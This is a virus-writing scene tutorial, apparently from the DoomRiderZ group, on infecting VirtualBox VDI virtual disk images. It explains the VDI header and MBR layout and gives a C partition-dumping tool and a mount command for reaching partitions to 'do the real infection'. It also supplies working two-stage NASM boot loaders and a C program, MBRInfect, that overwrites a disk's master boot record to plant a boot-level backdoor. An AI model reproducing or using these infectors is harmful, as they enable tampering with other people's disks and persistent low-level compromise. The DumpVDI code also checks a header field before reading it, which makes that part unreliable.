Virtual Disks Infection
WarGame / DooMRiderZ
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++ Virtual Disks Infection by WarGame/DoomRiderz ++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1) Introduction
2) Structure of a VDI
3) MBR & Partitions Table
4) Put all together: VDIDump tool
5) Infection
6) Old skool: boot record infection
7) Greetz & References
1) Introduction
The usage of virtualization technology is increasing more and more nowadays, mainly because of it's safe test environment and ability to run another
system without the use of multi-boot. In this article we are going to speak about VirtualBox (http://www.virtualbox.org) virtual disks infection.
Let's go!
Sorry for my poor english, it's not my main language.
2) Structure of a VDI
A VDI file is a virtual disk of VirtualBox, it can be a dynamically expanded or a fixed-size. We will talk about fixed-size virtual hard disks, since
they can be accessed in a simpler way.
This is the structure of a VDI:
------------------------------------
| VDIPREHEADER |
------------------------------------
| VDIHEADER |
------------------------------------
| DATA |
------------------------------------
We can get a lot of interesting information from VDIPREHEADER and VDIHEADER.
This is the definition of VDIPREHEADER from VDICore.h:
typedef struct VDIPREHEADER
{
/** Just text info about image type, for eyes only. */
char szFileInfo[64];
/** The image signature (VDI_IMAGE_SIGNATURE). */
uint32_t u32Signature;
/** The image version (VDI_IMAGE_VERSION). */
uint32_t u32Version;
} VDIPREHEADER, *PVDIPREHEADER;
The most interesting member for us is u32Version, in fact it tells us, which version of VDIHEADER is used.
There are three version of VDIHEADER:
VDIHEADER0
VDIHEADER1
VDIHEADER1PLUS
We will use only VDIHEADER1, because in my test virtual disk images it was the used header, but the things written here can be applied to the other
two types too.
This is the definition of VDIHEADER1 from VDICore.h:
typedef struct VDIHEADER1
{
/** Size of this structure in bytes. */
uint32_t cbHeader;
/** The image type (VDI_IMAGE_TYPE_*). */
uint32_t u32Type;
/** Image flags (VDI_IMAGE_FLAGS_*). */
uint32_t fFlags;
/** Image comment. (UTF-8) */
char szComment[VDI_IMAGE_COMMENT_SIZE];
/** Offset of Blocks array from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offBlocks;
/** Offset of image data from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offData;
/** Legacy image geometry (previous code stored PCHS there). */
VDIDISKGEOMETRY LegacyGeometry;
/** Was BIOS HDD translation mode, now unused. */
uint32_t u32Dummy;
/** Size of disk (in bytes). */
uint64_t cbDisk;
/** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */
uint32_t cbBlock;
/** Size of additional service information of every data block.
* Prepended before block data. May be 0.
* Should be a power of 2 and sector-aligned for optimization reasons. */
uint32_t cbBlockExtra;
/** Number of blocks. */
uint32_t cBlocks;
/** Number of allocated blocks. */
uint32_t cBlocksAllocated;
/** UUID of image. */
RTUUID uuidCreate;
/** UUID of image's last modification. */
RTUUID uuidModify;
/** Only for secondary images - UUID of previous image. */
RTUUID uuidLinkage;
/** Only for secondary images - UUID of previous image's last modification. */
RTUUID uuidParentModify;
} VDIHEADER1, *PVDIHEADER1;
Looking at the structure's members we can see many interesting fields, but for our scope the most interesting one is OffData, it tells us where the
"real" disk part begins. Everything done on the disk part must be relative to OffData, for example, if we want to access the sector 456 of the disk
we should do something like:
...
seek_vdi(OffData+456*512);
access_sector();
...
We must check the u32Type member too, it tells us if virtual disk is fixed-size or dynamically expanded.
Here is shown the use of OffData:
------------------------------------
| VDIPREHEADER |
------------------------------------
| VDIHEADER |
------------------------------------
| DATA |
| .... |
| OffData -> MBR |
------------------------------------
In few words, if we'll seek from the beginning of the VDI files for OffData bytes, we'll get the location of the Master Boot Record (the sector 1
which contains a lot of interesting infos about the logic organization of the disk).
3) MBR & Partitions Table
We understood how to get the location of the sector 1 (MBR), now will see its structure:
------------------------------------------ 0
| | \
| CODE AREA | The first 446bytes contains the boot code
| | /
------------------------------------------ 446
| | \
| PARTITIONS TABLE | The partition table occupies 64 bytes, it is made of four entries of 16 bytes
| | /
------------------------------------------ 510
| | \
| BOOT RECORD SIGNATURE | The boot record signature occupies the last 2 bytes, it must be set to AA55h
| | /
------------------------------------------ 512
The size of MBR or any other sector is 512 bytes (this is the standard sector size for normal x86-based PC).
The partitions table is made in this way:
-----------------------------------------
| PARTITION ENTRY 1 | 16 bytes
-----------------------------------------
| PARTITION ENTRY 2 | 16 bytes
-----------------------------------------
| PARTITION ENTRY 3 | 16 bytes
-----------------------------------------
| PARTITION ENTRY 4 | 16 bytes
-----------------------------------------
Each entry occupies 16 bytes, here the their structure:
-------------------------------------- 0
| | \
| BOOT INDICATOR | If this field is set to 80h is the partition is active, if it's not, it's set to 00h
| | /
-------------------------------------- 1
| | \
| STARTING CHS VALUE | This field tells us the location of the first sector of the partition if it's within first 1024 cylinders
| | /
-------------------------------------- 4
| | \
| PARTITION TYPE | Partition type (the file system of the partition (FAT16, FAT32, NTFS, EXT2, EXT3, et cetera))
| | /
-------------------------------------- 5
| | \
| ENDING CHS VALUE | This field tells us location of the last sector of partition if it's within first 1024 cylinders
| | /
-------------------------------------- 8
| | \
| STARTING SECTOR | This field tells us the first sector of partition, counting from the sector 0 (using 4 bytes)
| | /
-------------------------------------- 12
| | \
| PARTITION SIZE IN SECTORS | This field tells us the size of partition in sectors (using 4 bytes)
| | /
-------------------------------------- 16
Now we are able to find the MBR and getting from it the infos that we need about the logic layout of our virtual disk.
The next step will be to find a way to access such partitions or to use a better term, "mounting" them.
4) Put all together: VDIDump tool
I tested this tool only on my ubuntu linux system.
----------------------------------- DumpVDI.c ------------------------------------------------
/* A tool to dump partitions table inside a virtual disk (vdi file) by WarGame/DoomRiderz */
#include
#include
/* from VDICore.h and VBoxHDD-new.h*/
typedef unsigned int uint32_t;
typedef unsigned long long uint64_t;
typedef struct VDIDISKGEOMETRY
{
/** Cylinders. */
uint32_t cCylinders;
/** Heads. */
uint32_t cHeads;
/** Sectors per track. */
uint32_t cSectors;
/** Sector size. (bytes per sector) */
uint32_t cbSector;
} VDIDISKGEOMETRY, *PVDIDISKGEOMETRY;
typedef struct VDIPREHEADER
{
/** Just text info about image type, for eyes only. */
char szFileInfo[64];
/** The image signature (VDI_IMAGE_SIGNATURE). */
uint32_t u32Signature;
/** The image version (VDI_IMAGE_VERSION). */
uint32_t u32Version;
} VDIPREHEADER, *PVDIPREHEADER;
#define VDI_IMAGE_COMMENT_SIZE 256
typedef struct VDIHEADER1
{
/** Size of this structure in bytes. */
uint32_t cbHeader;
/** The image type (VDI_IMAGE_TYPE_*). */
uint32_t u32Type;
/** Image flags (VDI_IMAGE_FLAGS_*). */
uint32_t fFlags;
/** Image comment. (UTF-8) */
char szComment[VDI_IMAGE_COMMENT_SIZE];
/** Offset of Blocks array from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offBlocks;
/** Offset of image data from the begining of image file.
* Should be sector-aligned for HDD access optimization. */
uint32_t offData;
/** Legacy image geometry (previous code stored PCHS there). */
VDIDISKGEOMETRY LegacyGeometry;
/** Was BIOS HDD translation mode, now unused. */
uint32_t u32Dummy;
/** Size of disk (in bytes). */
uint64_t cbDisk;
/** Block size. (For instance VDI_IMAGE_BLOCK_SIZE.) Should be a power of 2! */
uint32_t cbBlock;
/** Size of additional service information of every data block.
* Prepended before block data. May be 0.
* Should be a power of 2 and sector-aligned for optimization reasons. */
uint32_t cbBlockExtra;
/** Number of blocks. */
uint32_t cBlocks;
/** Number of allocated blocks. */
uint32_t cBlocksAllocated;
/** UUID of image. */
char uuidCreate[16];
/** UUID of image's last modification. */
char uuidModify[16];
/** Only for secondary images - UUID of previous image. */
char uuidLinkage[16];
/** Only for secondary images - UUID of previous image's last modification. */
char uuidParentModify[16];
} VDIHEADER1, *PVDIHEADER1;
/** Get VDI major version from combined version. */
#define VDI_GET_VERSION_MAJOR(uVer) ((uVer) >> 16)
/** Get VDI minor version from combined version. */
#define VDI_GET_VERSION_MINOR(uVer) ((uVer) & 0xffff)
typedef struct MBR /* my definition for master boot record */
{
char boot_code[446];
unsigned char partitions[4][16];
unsigned short signature;
}MBR;
/****************/
void ExtractPartition(char *f,int offdata,int part_num,int start_sect,int size_sect)
{
FILE *vdi = NULL,*part = NULL;
char ex_name[128],buf[512];
unsigned int size = size_sect*512;
if((vdi = fopen(f,"r")) == NULL)
{
printf("can't open %s\n",f);
return;
}
sprintf(ex_name,"partition_%d____%d_%d.raw",part_num,start_sect,size_sect);
if((part = fopen(ex_name,"a+")) == NULL)
{
fclose(vdi);
printf("can't open %s\n",ex_name);
return;
}
fseek(vdi,offdata,SEEK_SET);
fseek(vdi,start_sect*512,SEEK_CUR);
printf("Extracting...\n");
while(size > 0)
{
fread(buf,512,1,vdi);
fwrite(buf,512,1,part);
size -= 512;
}
fclose(vdi);
fclose(part);
printf("Extraction done to %s\n",ex_name);
}
void DumpVDIPartitionTable(char *f, int extract)
{
FILE *fp = fopen(f,"r");
VDIPREHEADER pre;
VDIHEADER1 h1;
MBR mbr;
int offdata = 0,p_cnt,sect_after_mbr,sect_in_partition;
if(fp == NULL)
{
printf("can't open %s\n",f);
}
else
{
fread(&pre,sizeof(VDIPREHEADER),1,fp);
if(VDI_GET_VERSION_MAJOR(pre.u32Version) == 1 && VDI_GET_VERSION_MINOR(pre.u32Version) == 1)
{
if(h1.u32Type == 1)
{
printf("%s is not a fixed size disk\n",f);
}
else
{
fread(&h1,sizeof(VDIHEADER1),1,fp);
if(h1.offData != 0)
{
printf("Offdata (%s) -> %d\n",f,h1.offData);
rewind(fp);
fseek(fp,h1.offData,SEEK_SET);
fread(&mbr,sizeof(MBR),1,fp);
fclose(fp);
printf("MBR signature -> 0x%x\n",mbr.signature);
for(p_cnt = 0;p_cnt < 4;p_cnt++)
{
memcpy(§_after_mbr,mbr.partitions[p_cnt]+8,4);
memcpy(§_in_partition,mbr.partitions[p_cnt]+12,4);
printf("Partition #%d -> status: %10s - type: 0x%.2x - partition begins at sector: %9d - sectors in partition: %9d\n",p_cnt,(mbr.partitions[p_cnt][0] == 0x80) ? "bootable" : "not active",mbr.partitions[p_cnt][4],sect_after_mbr,sect_in_partition);
if(extract)
ExtractPartition(f,h1.offData,p_cnt,sect_after_mbr,sect_in_partition);
}
}
else
{
printf("header and offdata unknown in %s\n",f);
}
}
}
else
{
printf("Header not supported in %s\n",f);
}
}
}
int main(int argc,char *argv[])
{
int a_cnt,extract;
if(argc == 1)
{
printf("Dump partitions table from VDI (virtual disk) files by WarGame/DoomRiderz\n");
printf("Usage: [-d | -e] ... \n",argv[0]);
printf("Options:\n");
printf("-d only print the partitions table on stdout\n");
printf("-e print the partitions table on stdout and extract the partitions one by one and write them on files\n");
return 1;
}
else
{
if(strcmp(argv[1],"-d") == 0)
{
extract = 0;
}
else if(strcmp(argv[1],"-e") == 0)
{
extract = 1;
}
else
{
printf("Invalid option\n");
return 1;
}
for(a_cnt = 2;a_cnt < argc;a_cnt++)
DumpVDIPartitionTable(argv[a_cnt],extract);
return 0;
}
}
------------------------------------ EOF -----------------------------------------------------
--------------------------------- Example output ---------------------------------------------
wargame@wargame-desktop:~/my stuff/vdi$ sudo ./DumpVDI -d /root/.VirtualBox/VDI/xpsp0.vdi
Offdata (/root/.VirtualBox/VDI/xpsp0.vdi) -> 13312
MBR signature -> 0xaa55
Partition #0 -> status: bootable - type: 0x07 - partition begins at sector: 63 - sectors in partition: 6322113
Partition #1 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
Partition #2 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
Partition #3 -> status: not active - type: 0x00 - partition begins at sector: 0 - sectors in partition: 0
----------------------------------------------------------------------------------------------
5) Infection
The most simple way to infect a virtual disk requires only the mount command of linux, in fact it is able to access a lot of file systems using the drivers
that the kernel offers.
So, the infection process using this simple way is:
1) Find the virtual disk to infect
2) Get offData and the partition table from it
3) Get the location of the first sector of partition we want to mount
4) Run the mount command
5) Access the mounted partition and do the real infection
6) Unmount it
So, for example if we want to mount and infect the first ext3 partition (we assume that the first sector of this partition is the sector 63)
of a virtual disk with an offData which equals to 13312, we would use this command:
sudo mount -t ext3 -o ro,loop,offset=45568 the_vdi_file.vdi /our_mount_point
Where 45568 is equal to 13312+63*512.
This way is fast and requires not so much code because the hard part is made by the mount command. But it has a big limitation: it is not portable.
Infact if we do not have the mount command and the right privileges we can't mount and infect the virtual disk. Then windows does not offer such
possibility because it can mount only a limited numbers of file systems (fat16,fat32,ntfs). We can use this way only in some limited circumstances.
There is an other way but it would require to implement our file system drivers for our infector, so we could infect a vdi with no other external
requirements.
6) Old skool: boot record infection
There is an other good way to infect our virtual disk, we can infect the master boot record itself. The MBR infact is the place where it's located the
code that make the OS boots up, if we take control of it we can own the system at very low level.
At the DOS age, multipartite viruses were able to spread using floppies, in fact it could hook the interrupt 13h (this interrupt controls the access to
disks) and so intercept every access to disk. So when a user booted his/her pc with the infected floppy the process could take place again.
That was possible because the DOS didn't have any form of control for hardware access. The modern OSes like Windows NT, Unix (BSD, MacOS), GNU/Linux use
their own interface made of device drivers to access the hardware layer and so that tech is not possible.
Note: Using this way we can infect variable sized virtual disk with no problems.
In this article we will talk about backdooring the master boot record of the virtual disk. Our code in fact will not have the possibility to spread.
Here we will use an example code that is made of two parts (written for nasm):
1) The first part of our loader is located in the sector 1 (MBR), it will be loaded by the BIOS at address 0000:7c00. When it takes control it prints a
msg on the screen and then waits for the user to press any key. When this happens, the code loads from the sector 2 the second part of the loader at
the address 0000:1000h and then jumps to it.
2) The second part of the loader reads the sector 3 containing the original MBR and then loads it in memory at address 0000:7c00 (to be sure it
works, infact every boot loader assumes to be loaded from this address) and then jumps to it.
3) The original boot loader takes the control and it makes the OS boots up.
-------------------- loader.asm (the code located on the sector 1) --------------------
; the first stage of our loader
ORG 7c00h
BITS 16
jmp boot
msg db 'boot record infection on virtual disk! Press any key to continue',13,10,0
msg1 db 'failed to read the loader1!',13,10,0
boot: ; setup the stack
xor ax,ax
mov ds,ax
mov es,ax
mov ss,ax
mov sp,7c00h
setup_writing:
mov ah,0eh
mov bx,0007
xor si,si
print_msg: ; print our msg on the screen
mov al, [msg+si]
test al,al
jz wait_key
int 10h
inc si
jmp print_msg
wait_key:
mov ah,00h
int 16h
;; here we could put other code that performs other actions depending of the victim OS
load_loader1:
mov dl,80h
xor ax,ax
int 13h ; reset drive
mov es,ax ; read at
mov bx,1000H ; 0000:1000
mov ah,02h ; read function
mov al,01h ; read only one sector
mov cx,02h ; sector 2
mov dh,0
mov dl,80h
int 13h ; read the sector
jc failed_to_read
jump_to_loader1:
db 0Eah ; jump at
dw 1000h ; memory location
dw 0 ; 0000:1000h
failed_to_read:
mov ah,0eh
mov bx,0007
xor si,si
p:
mov al, [msg1+si]
test al,al
jz exit
int 10h
inc si
jmp p
exit:
ret
times 510-($-$$) db 0
dw 0aa55h
------------------------------------ EOF ----------------------------------------------
-------------------- loader1.asm (the code located on the sector 2) -------------------
; the second stage of the loader
ORG 1000h
BITS 16
jmp boot
msg1 db 'failed to read the original boot sector!',13,10,0
boot: ; setup the stack
xor ax,ax
mov ds,ax
mov es,ax
mov ss,ax
mov sp,1000h
;; here we could put other code that performs other actions depending of the victim OS
load_original_mbr:
mov dl,80h
xor ax,ax
int 13h ; reset drive
mov es,ax ; read at
mov bx,7c00H ; 0000:7c00
mov ah,02h ; read function
mov al,01h ; read only one sector
mov cx,03h ; sector 3
mov dh,0
mov dl,80h
int 13h ; read the sector
jc failed_to_read
jump_to_original_mbr: ; here the original mbr gets the control
db 0Eah ; jump at
dw 7c00h ; memory location
dw 0 ; 0000:7c00h
failed_to_read:
mov ah,0eh
mov bx,0007
xor si,si
p:
mov al, [msg1+si]
test al,al
jz exit
int 10h
inc si
jmp p
exit:
ret
times 510-($-$$) db 0
dw 0aa55h ; this is useless here
--------------------------------- EOF -------------------------------------------------
My example code simply acts like a "proxy", infact after interacting a bit with the user it passes the control to the true loader. For more look at BOOT KIT
(http://www.rootkit.com/project.php?id=34).
Here a simple tool to infect a VDI with my loader:
------------------------------ MBRInfect.c ------------------------------------
/* A simple tool to infect the MBR of a virtual disk by WarGame/DoomRiderz */
#include
#include
main(int argc,char *argv[])
{
FILE *in = NULL,*in1 = NULL,*out = NULL;
char buf[512];
char buf1[512];
char original[512];
if(argv[1] == NULL || argv[2] == NULL)
{
printf("Usage: %s \n",argv[0]);
return -1;
}
if((in = fopen("loader.bin","r")) == NULL)
{
printf("can't open loader.bin\n");
return -1;
}
if((out = fopen(argv[1],"r+")) == NULL)
{
printf("can't open %s\n",argv[1]);
return -1;
}
if((in1 = fopen("loader1.bin","r")) == NULL)
{
printf("can't open loader1.bin\n");
return -1;
}
fread(buf,512,1,in);
fread(buf1,512,1,in1);
fseek(out,atoi(argv[2]),SEEK_SET); /* seek to MBR pointed by offData */
fread(original,512,1,out); /* read the original mbr */
fseek(out,-512,SEEK_CUR);
memcpy(buf+446,original+446,64); /* put the partition table in our loader */
fwrite(buf,512,1,out); /* write loader (sector 1) */
fwrite(buf1,512,1,out); /* write loader 1 (sector 2) */
fwrite(original,512,1,out); /* write original mbr (sector 3) */
fclose(in);
fclose(out);
fclose(in1);
printf("Done\n");
return 0;
}
----------------------------------- EOF -------------------------------------------
7) Greetz & References
greetz to all people on #eof-project, #virus, #vxcode @ undernet
References:
http://www.virtualbox.org/
http://www.virtualbox.org/browser/trunk/src/VBox/Devices/Storage/VDICore.h
http://www.rootkit.com/project.php?id=34
http://vx.netlux.org/lib/static/vdat/tufirstb.htm
For more info, visit: http://vx.netlux.org/wargamevx or send me a mail to: wargame89@yahoo.it